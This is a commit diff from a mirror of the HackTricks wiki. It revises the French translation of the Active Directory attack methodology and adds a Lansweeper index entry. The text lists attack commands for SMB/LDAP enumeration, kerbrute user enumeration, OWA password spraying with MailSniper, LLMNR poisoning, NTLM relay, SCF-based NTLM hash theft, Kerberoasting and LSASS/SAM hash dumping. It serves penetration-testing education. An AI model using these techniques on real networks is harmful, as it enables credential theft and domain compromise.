maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/active-directory-methodology/lansweep

Browse Source
This commit is contained in:
Translator 2025-08-28 10:47:50 +00:00
parent bd78aff4e1
commit c2a4e95e46
4 changed files with 504 additions and 298 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -284,6 +284,7 @@
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
- [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md)
- [Lansweeper Security](windows-hardening/active-directory-methodology/lansweeper-security.md)
- [LAPS](windows-hardening/active-directory-methodology/laps.md)
- [MSSQL AD Abuse](windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
- [Over Pass the Hash/Pass the Key](windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md)

545
src/windows-hardening/active-directory-methodology/README.md
View File

@ -4,84 +4,86 @@
## Aperçu de base
**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et de gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour évoluer, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à divers niveaux.
**Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour monter en charge, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à différents niveaux.
La structure de **Active Directory** se compose de trois couches principales : **domaines**, **arbres** et **forêts**. Un **domaine** englobe un ensemble d'objets, tels que des **utilisateurs** ou des **dispositifs**, partageant une base de données commune. Les **arbres** sont des groupes de ces domaines liés par une structure partagée, et une **forêt** représente la collection de plusieurs arbres, interconnectés par des **relations de confiance**, formant la couche supérieure de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être désignés à chacun de ces niveaux.
La structure d'**Active Directory** est composée de trois couches principales : **domains**, **trees**, et **forests**. Un **domain** englobe une collection d'objets, tels que des **utilisateurs** ou des **périphériques**, partageant une base de données commune. Les **trees** sont des groupes de ces domaines liés par une structure commune, et une **forest** représente la collection de plusieurs trees, interconnectés via des **trust relationships**, formant la couche la plus élevée de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être attribués à chacun de ces niveaux.
Les concepts clés au sein de **Active Directory** incluent :
Les concepts clés d'**Active Directory** incluent :
1. **Annuaire** – Contient toutes les informations relatives aux objets Active Directory.
2. **Objet** – Désigne des entités au sein de l'annuaire, y compris des **utilisateurs**, des **groupes** ou des **dossiers partagés**.
3. **Domaine** – Sert de conteneur pour les objets d'annuaire, avec la capacité de plusieurs domaines à coexister au sein d'une **forêt**, chacun maintenant sa propre collection d'objets.
4. **Arbre** – Un regroupement de domaines partageant un domaine racine commun.
5. **Forêt** – Le sommet de la structure organisationnelle dans Active Directory, composée de plusieurs arbres avec des **relations de confiance** entre eux.
1. **Directory** – Contient toutes les informations relatives aux objets Active Directory.
2. **Object** – Désigne les entités au sein de l'annuaire, incluant les **users**, **groups**, ou **shared folders**.
3. **Domain** – Sert de conteneur pour les objets de l'annuaire, avec la possibilité que plusieurs domains coexistent au sein d'une **forest**, chacun conservant sa propre collection d'objets.
4. **Tree** – Un regroupement de domains partageant un domaine racine commun.
5. **Forest** – Le sommet de la structure organisationnelle dans Active Directory, composé de plusieurs trees avec des **trust relationships** entre eux.
**Active Directory Domain Services (AD DS)** englobe une gamme de services critiques pour la gestion centralisée et la communication au sein d'un réseau. Ces services comprennent :
**Active Directory Domain Services (AD DS)** englobe une série de services essentiels pour la gestion centralisée et la communication au sein d'un réseau. Ces services comprennent :
1. **Services de domaine** – Centralise le stockage des données et gère les interactions entre **utilisateurs** et **domaines**, y compris les fonctionnalités d'**authentification** et de **recherche**.
2. **Services de certificats** – Supervise la création, la distribution et la gestion de **certificats numériques** sécurisés.
3. **Services d'annuaire léger** – Prend en charge les applications activées par l'annuaire via le **protocole LDAP**.
4. **Services de fédération d'annuaire** – Fournit des capacités de **connexion unique** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
5. **Gestion des droits** – Aide à protéger le matériel protégé par des droits d'auteur en régulant sa distribution et son utilisation non autorisées.
6. **Service DNS** – Crucial pour la résolution des **noms de domaine**.
1. **Domain Services** – Centralise le stockage des données et gère les interactions entre les **users** et les **domains**, incluant l'**authentication** et les fonctions de **search**.
2. **Certificate Services** – Supervise la création, la distribution et la gestion des **digital certificates** sécurisés.
3. **Lightweight Directory Services** – Prend en charge les applications compatibles annuaire via le **LDAP protocol**.
4. **Directory Federation Services** – Fournit des capacités de **single-sign-on** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
5. **Rights Management** – Aide à protéger le contenu soumis aux droits d'auteur en régulant sa distribution et son utilisation non autorisées.
6. **DNS Service** – Crucial pour la résolution des **domain names**.
Pour une explication plus détaillée, consultez : [**TechTerms - Définition d'Active Directory**](https://techterms.com/definition/active_directory)
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Authentification Kerberos**
### **Kerberos Authentication**
Pour apprendre à **attaquer un AD**, vous devez **comprendre** très bien le **processus d'authentification Kerberos**.\
[**Lisez cette page si vous ne savez toujours pas comment cela fonctionne.**](kerberos-authentication.md)
Pour apprendre comment **attaquer un AD**, vous devez bien comprendre le **processus d'authentication Kerberos**.\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
## Fiche de triche
## Feuille de référence
Vous pouvez consulter beaucoup de choses sur [https://wadcoms.github.io/](https://wadcoms.github.io) pour avoir un aperçu rapide des commandes que vous pouvez exécuter pour énumérer/exploiter un AD.
Vous pouvez consulter rapidement [https://wadcoms.github.io/](https://wadcoms.github.io) pour obtenir un aperçu des commandes à exécuter pour enumerer/exploiter un AD.
> [!WARNING]
> La communication Kerberos **requiert un nom pleinement qualifié (FQDN)** pour effectuer des actions. Si vous essayez d'accéder à une machine par l'adresse IP, **cela utilisera NTLM et non Kerberos**.
> Kerberos communication **requires a full qualifid name (FQDN)** pour effectuer des actions. Si vous tentez d'accéder à une machine via son adresse IP, **ce sera NTLM et non Kerberos**.
## Reconnaissance Active Directory (Pas de crédentiels/sessions)
## Recon Active Directory (No creds/sessions)
Si vous avez juste accès à un environnement AD mais que vous n'avez pas de crédentiels/sessions, vous pourriez :
Si vous avez simplement accès à un environnement AD mais que vous ne disposez d'aucun identifiants/sessions, vous pouvez :
- **Tester le réseau :**
- Scanner le réseau, trouver des machines et des ports ouverts et essayer d'**exploiter des vulnérabilités** ou d'**extraire des crédentiels** à partir d'eux (par exemple, [les imprimantes pourraient être des cibles très intéressantes](ad-information-in-printers.md)).
- Énumérer le DNS pourrait donner des informations sur des serveurs clés dans le domaine comme des web, des imprimantes, des partages, des vpn, des médias, etc.
- **Pentest the network:**
- Scanner le réseau, trouver les machines et ports ouverts et tenter d'**exploit vulnerabilities** ou d'**extract credentials** depuis celles-ci (par exemple, [les printers peuvent être des cibles très intéressantes](ad-information-in-printers.md)).
- L'énumération du DNS peut fournir des informations sur des serveurs clés du domaine comme web, printers, shares, vpn, media, etc.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Consultez la [**Méthodologie de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour trouver plus d'informations sur la façon de faire cela.
- **Vérifiez l'accès nul et invité sur les services smb** (cela ne fonctionnera pas sur les versions modernes de Windows) :
- Consultez la page générale [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour plus d'informations sur la manière de procéder.
- **Check for null and Guest access on smb services** (cela ne fonctionnera pas sur les versions modernes de Windows) :
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Un guide plus détaillé sur la façon d'énumérer un serveur SMB peut être trouvé ici :
- Un guide plus détaillé sur la façon d'énumérer un serveur SMB est disponible ici :
{{#ref}}
../../network-services-pentesting/pentesting-smb/
{{#endref}}
- **Énumérer Ldap**
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Un guide plus détaillé sur la façon d'énumérer LDAP peut être trouvé ici (prêtez **une attention particulière à l'accès anonyme**) :
- Un guide plus détaillé sur l'énumération LDAP est disponible ici (prêtez une **attention particulière à l'accès anonyme**) :
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **Poisonner le réseau**
- Rassembler des crédentiels [**en usurpant des services avec Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accéder à l'hôte en [**abusant de l'attaque par relais**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Rassembler des crédentiels **en exposant** [**de faux services UPnP avec evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- **Poison the network**
- Récupérer des credentials en **impersonating services with Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accéder à un hôte en [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Récupérer des credentials en **exposant** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html) :
- Extraire des noms d'utilisateur/noms à partir de documents internes, de réseaux sociaux, de services (principalement web) à l'intérieur des environnements de domaine et également à partir de sources disponibles publiquement.
- Si vous trouvez les noms complets des employés de l'entreprise, vous pourriez essayer différentes **conventions de nom d'utilisateur AD** (**[lisez ceci](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Les conventions les plus courantes sont : _NomPrenom_, _Nom.Prenom_, _NomPr_ (3 lettres de chaque), _Nom.Pr_, _NPrenom_, _N.Prenom_, _PrenomNom_, _Prenom.Nom_, _PrenomN_, _Prenom.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Extraire des usernames/noms depuis des documents internes, les réseaux sociaux, des services (principalement web) à l'intérieur des environnements de domaine ainsi que depuis les sources publiques.
- Si vous trouvez les noms complets des employés de l'entreprise, vous pouvez essayer différentes conventions de **username AD** (**[read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)**)**. Les conventions les plus courantes sont : _NameSurname_, _Name.Surname_, _NamSur_ (3 lettres de chaque), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
- Outils :
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Énumération des utilisateurs
### User enumeration
- **Énumération SMB/LDAP anonyme :** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Énumération Kerbrute** : Lorsqu'un **nom d'utilisateur invalide est demandé**, le serveur répondra en utilisant le code d'erreur **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, nous permettant de déterminer que le nom d'utilisateur était invalide. Les **noms d'utilisateur valides** provoqueront soit le **TGT dans une réponse AS-REP**, soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentification.
- **Pas d'authentification contre MS-NRPC** : Utilisation du niveau d'authentification = 1 (Pas d'authentification) contre l'interface MS-NRPC (Netlogon) sur les contrôleurs de domaine. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucun crédentiel. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Anonymous SMB/LDAP enum:** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum** : Lorsqu'un **username invalide est demandé**, le serveur répondra en utilisant le **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ce qui nous permet de déterminer que le nom d'utilisateur est invalide. Les **usernames valides** provoqueront soit un **TGT in a AS-REP** en réponse, soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentication.
- **No Authentication against MS-NRPC** : En utilisant auth-level = 1 (No authentication) contre l'interface MS-NRPC (Netlogon) sur les domain controllers. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucune credential. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -93,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
```
- **Serveur OWA (Outlook Web Access)**
- **OWA (Outlook Web Access) Server**
Si vous trouvez l'un de ces serveurs dans le réseau, vous pouvez également effectuer **une énumération des utilisateurs contre celui-ci**. Par exemple, vous pourriez utiliser l'outil [**MailSniper**](https://github.com/dafthack/MailSniper):
Si vous trouvez l'un de ces serveurs sur le réseau, vous pouvez également effectuer **user enumeration against it**. Par exemple, vous pouvez utiliser l'outil [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -108,47 +110,51 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Vous pouvez trouver des listes de noms d'utilisateur dans [**ce dépôt github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) et celui-ci ([**noms d'utilisateur statistiquement probables**](https://github.com/insidetrust/statistically-likely-usernames)).
> Vous pouvez trouver des listes de noms d'utilisateurs dans [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) et dans celui-ci ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Cependant, vous devriez avoir le **nom des personnes travaillant dans l'entreprise** à partir de l'étape de reconnaissance que vous avez effectuée auparavant. Avec le nom et le prénom, vous pourriez utiliser le script [**namemash.py**](https://gist.github.com/superkojiman/11076951) pour générer des noms d'utilisateur potentiellement valides.
> Cependant, vous devriez disposer du **nom des personnes travaillant dans l'entreprise** à partir de l'étape de recon que vous auriez dû effectuer auparavant. Avec le prénom et le nom de famille vous pouvez utiliser le script [**namemash.py**](https://gist.github.com/superkojiman/11076951) pour générer des noms d'utilisateur potentiels valides.
### Connaître un ou plusieurs noms d'utilisateur
### Knowing one or several usernames
D'accord, donc vous savez déjà que vous avez un nom d'utilisateur valide mais pas de mots de passe... Essayez alors :
Ok, donc vous savez déjà qu'un nom d'utilisateur est valide mais vous n'avez aucun mot de passe... Essayez alors :
- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_ vous pouvez **demander un AS_REP message** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
- [**Password Spraying**](password-spraying.md) : Essayez les mots de passe les plus **communs** avec chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez en tête la politique de mot de passe !).
- Notez que vous pouvez aussi **spray OWA servers** pour tenter d'accéder aux serveurs mail des utilisateurs.
- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_, vous pouvez **demander un message AS_REP** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
- [**Password Spraying**](password-spraying.md) : Essayons les mots de passe les plus **courants** avec chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez à l'esprit la politique de mot de passe !).
- Notez que vous pouvez également **sprayer les serveurs OWA** pour essayer d'accéder aux serveurs de messagerie des utilisateurs.
{{#ref}}
password-spraying.md
{{#endref}}
### Poisoning LLMNR/NBT-NS
### LLMNR/NBT-NS Poisoning
Vous pourriez être capable d'**obtenir** certains **hashes** de challenge à cracker en **poisoning** certains protocoles du **network** :
Vous pourriez être en mesure d'**obtenir** des **hashes** de challenge pour cracker en **empoisonnant** certains protocoles du **réseau** :
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Relais NTLM
### NTLM Relay
Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être en mesure de forcer des [**attaques de relais NTLM**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) pour accéder à l'environnement AD.
Si vous avez réussi à énumérer l'active directory vous aurez **plus d'emails et une meilleure compréhension du network**. Vous pourriez être en mesure de forcer des NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) pour accéder à l'AD env.
### Voler des identifiants NTLM
### Steal NTLM Creds
Si vous pouvez **accéder à d'autres PC ou shares** avec l'**null ou guest user** vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont consultés, vont t**rigger an NTLM authentication against you** afin que vous puissiez **steal** le **NTLM challenge** pour le cracker :
Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null ou invité**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, **déclencheront une authentification NTLM contre vous** afin que vous puissiez **voler** le **challenge NTLM** pour le cracker :
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Énumération de l'Active Directory AVEC des identifiants/session
## Énumération d'Active Directory AVEC credentials/session
Pour cette phase, vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous avez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **vous devez vous rappeler que les options données auparavant sont toujours des options pour compromettre d'autres utilisateurs**.
Pour cette phase vous devez avoir **compromis les credentials ou une session d'un compte de domaine valide.** Si vous avez des credentials valides ou un shell en tant qu'utilisateur de domaine, **n'oubliez pas que les options données précédemment restent des options pour compromettre d'autres utilisateurs**.
Avant de commencer l'énumération authentifiée vous devriez connaître le **Kerberos double hop problem.**
Avant de commencer l'énumération authentifiée, vous devez savoir quel est le **problème du double saut Kerberos.**
{{#ref}}
kerberos-double-hop-problem.md
@ -156,51 +162,52 @@ kerberos-double-hop-problem.md
### Énumération
Avoir compromis un compte est un **grand pas pour commencer à compromettre tout le domaine**, car vous allez pouvoir commencer l'**énumération de l'Active Directory :**
Avoir compromis un compte est une **grande étape pour commencer à compromettre tout le domaine**, car vous allez pouvoir lancer l'**Active Directory Enumeration :**
Concernant [**ASREPRoast**](asreproast.md), vous pouvez maintenant trouver chaque utilisateur vulnérable possible, et concernant [**Password Spraying**](password-spraying.md), vous pouvez obtenir une **liste de tous les noms d'utilisateur** et essayer le mot de passe du compte compromis, des mots de passe vides et de nouveaux mots de passe prometteurs.
Concernant [**ASREPRoast**](asreproast.md) vous pouvez maintenant trouver tous les utilisateurs potentiellement vulnérables, et concernant [**Password Spraying**](password-spraying.md) vous pouvez obtenir une **liste de tous les noms d'utilisateur** et essayer le mot de passe du compte compromis, des mots de passe vides et de nouveaux mots de passe prometteurs.
- Vous pourriez utiliser le [**CMD pour effectuer une reconnaissance de base**](../basic-cmd-for-pentesters.md#domain-info)
- Vous pouvez également utiliser [**powershell pour la reconnaissance**](../basic-powershell-for-pentesters/index.html) qui sera plus discrète
- Vous pouvez aussi [**utiliser powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
- Un autre outil incroyable pour la reconnaissance dans un annuaire actif est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez vraiment l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez le chemin vers d'autres groupes, etc.
- **D'autres outils d'énumération AD automatisés sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Enregistrements DNS de l'AD**](ad-dns-records.md) car ils pourraient contenir des informations intéressantes.
- Un **outil avec interface graphique** que vous pouvez utiliser pour énumérer le répertoire est **AdExplorer.exe** de la **SysInternal** Suite.
- Vous pouvez également rechercher dans la base de données LDAP avec **ldapsearch** pour chercher des identifiants dans les champs _userPassword_ & _unixUserPassword_, ou même pour _Description_. cf. [Mot de passe dans le commentaire utilisateur AD sur PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
- Si vous utilisez **Linux**, vous pourriez également énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
- Vous pourriez également essayer des outils automatisés comme :
- Vous pourriez utiliser le [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Vous pouvez aussi utiliser [**powershell for recon**](../basic-powershell-for-pentesters/index.html) qui sera plus discret
- Vous pouvez également [**use powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
- Un autre outil incroyable pour le recon dans un active directory est [**BloodHound**](bloodhound.md). Il n'est **pas très stealthy** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) car ils peuvent contenir des informations intéressantes.
- Un **outil avec GUI** que vous pouvez utiliser pour énumérer l'annuaire est **AdExplorer.exe** de la suite **SysInternal**.
- Vous pouvez aussi rechercher dans la base LDAP avec **ldapsearch** pour chercher des credentials dans les champs _userPassword_ & _unixUserPassword_, ou même dans _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
- Si vous utilisez **Linux**, vous pourriez aussi énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
- Vous pouvez aussi essayer des outils automatisés comme :
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extraction de tous les utilisateurs de domaine**
- **Extraction de tous les utilisateurs du domaine**
Il est très facile d'obtenir tous les noms d'utilisateur de domaine depuis Windows (`net user /domain`, `Get-DomainUser` ou `wmic useraccount get name,sid`). Sous Linux, vous pouvez utiliser : `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
Il est très facile d'obtenir tous les noms d'utilisateur du domaine depuis Windows (`net user /domain` ,`Get-DomainUser` ou `wmic useraccount get name,sid`). Sous Linux, vous pouvez utiliser : `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`
> Même si cette section d'énumération semble petite, c'est la partie la plus importante de tout. Accédez aux liens (principalement celui de cmd, powershell, powerview et BloodHound), apprenez à énumérer un domaine et pratiquez jusqu'à ce que vous vous sentiez à l'aise. Lors d'une évaluation, ce sera le moment clé pour trouver votre chemin vers DA ou décider que rien ne peut être fait.
> Même si cette section Enumeration paraît courte, c'est la partie la plus importante de toutes. Accédez aux liens (principalement ceux de cmd, powershell, powerview et BloodHound), apprenez à énumérer un domaine et entraînez-vous jusqu'à être à l'aise. Lors d'une évaluation, ce sera le moment clé pour trouver votre chemin vers DA ou pour décider qu'il n'y a rien à faire.
### Kerberoast
Kerberoasting implique d'obtenir des **tickets TGS** utilisés par des services liés à des comptes d'utilisateur et de cracker leur chiffrement—qui est basé sur les mots de passe des utilisateurs—**hors ligne**.
Kerberoasting implique l'obtention de **TGS tickets** utilisés par des services liés à des comptes utilisateurs et le cassage de leur chiffrement — qui est basé sur les mots de passe des utilisateurs — **offline**.
Plus d'informations dans :
Plus d'informations à ce sujet dans :
{{#ref}}
kerberoast.md
{{#endref}}
### Connexion à distance (RDP, SSH, FTP, Win-RM, etc)
### Connexion distante (RDP, SSH, FTP, Win-RM, etc)
Une fois que vous avez obtenu des identifiants, vous pourriez vérifier si vous avez accès à une **machine**. Pour cela, vous pourriez utiliser **CrackMapExec** pour tenter de vous connecter à plusieurs serveurs avec différents protocoles, selon vos analyses de ports.
Une fois que vous avez obtenu des credentials vous pouvez vérifier si vous avez accès à une **machine**. Pour cela, vous pouvez utiliser **CrackMapExec** pour tenter de vous connecter sur plusieurs serveurs avec différents protocoles, selon vos scans de ports.
### Escalade de privilèges locale
### Local Privilege Escalation
Si vous avez compromis des identifiants ou une session en tant qu'utilisateur de domaine régulier et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine dans le domaine**, vous devriez essayer de trouver un moyen d'**escalader les privilèges localement et de chercher des identifiants**. C'est parce qu'avec des privilèges d'administrateur local, vous serez en mesure de **dump les hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
Si vous avez compromis des credentials ou une session en tant qu'utilisateur de domaine standard et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine du domaine** vous devriez essayer de trouver un moyen d'**escalader les privilèges localement et de piller des credentials**. C'est parce qu'uniquement avec des privilèges administrateur local vous pourrez **dump hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
Il y a une page complète dans ce livre sur [**l'escalade de privilèges locale dans Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
Il y a une page complète dans ce livre sur [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas non plus d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Tickets de session actuelle
### Current Session Tickets
Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur actuel **vous donnant la permission d'accéder** à des ressources inattendues, mais vous pourriez vérifier :
Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur courant vous **donnant la permission d'accéder** à des ressources inattendues, mais vous pouvez vérifier :
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -210,17 +217,17 @@ Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur
```
### NTLM Relay
Si vous avez réussi à énumérer l'annuaire actif, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être en mesure de forcer des attaques NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Si vous avez réussi à énumérer l'Active Directory vous disposerez de **plus d'emails et d'une meilleure compréhension du réseau**. Vous pourriez être capable de forcer NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### Looks for Creds in Computer Shares | SMB Shares
### Recherche de Creds dans les partages d'ordinateurs | SMB Shares
